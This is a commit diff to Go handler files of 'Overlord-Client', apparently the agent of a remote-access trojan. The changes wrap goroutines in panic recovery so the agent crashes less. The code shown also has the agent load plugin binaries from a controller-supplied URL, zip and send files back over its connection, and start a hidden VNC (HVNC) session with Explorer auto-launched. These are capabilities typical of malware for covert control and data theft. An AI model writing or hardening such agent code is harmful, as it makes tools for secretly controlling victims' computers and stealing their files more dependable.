safety and hopefully fix crashing bug with GPU mode.

Overlord-Client/cmd/agent/handlers/command.go

@@ -359,7 +359,10 @@ func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message stri
 }
 
 func sendCommandResultAsync(env *runtime.Env, cmdID string) {
-	go sendCommandResultSafe(env, cmdID, true, "")
+	go func() {
+		defer recoverAndLog("sendCommandResultAsync", nil)
+		sendCommandResultSafe(env, cmdID, true, "")
+	}()
 }
 
 func payloadNumberToInt64(value interface{}) int64 {
@@ -569,7 +572,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		if err != nil {
 			return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
 		}
-		go func() {
+		goSafe("plugin load", nil, func() {
 			if err := env.Plugins.Load(ctx, manifest, binaryBytes); err != nil {
 				_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
 				_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
@@ -577,7 +580,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			}
 			_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
 			_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
-		}()
+		})
 		return nil
 	case "plugin_load_http":
 		payload, _ := envelope["payload"].(map[string]interface{})
@@ -591,7 +594,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		}
 		pullURL, _ := payload["url"].(string)
 		expectedSize := int64(toInt(payload["size"]))
-		go HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize)
+		goSafe("plugin load http", nil, func() {
+			HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize)
+		})
 		return nil
 	case "plugin_unload":
 		payload, _ := envelope["payload"].(map[string]interface{})

Overlord-Client/cmd/agent/handlers/files.go

@@ -710,7 +710,9 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou
 	wire.WriteMsg(ctx, env.Conn, finalProgress)
 
 	time.Sleep(100 * time.Millisecond)
-	go HandleFileDownload(ctx, env, cmdID, zipPath)
+	goSafe("file download", nil, func() {
+		HandleFileDownload(ctx, env, cmdID, zipPath)
+	})
 
 	result := wire.CommandResult{
 		Type:      "command_result",

Overlord-Client/cmd/agent/handlers/hvnc.go

@@ -38,11 +38,11 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
 	}
 
 	if autoStartExplorer {
-		go func() {
+		goSafe("hvnc auto-start explorer", nil, func() {
 			if err := capture.HVNCAutoStartExplorer(); err != nil {
 				log.Printf("hvnc: auto-start explorer error: %v", err)
 			}
-		}()
+		})
 	}
 
 	ticker := time.NewTicker(interval)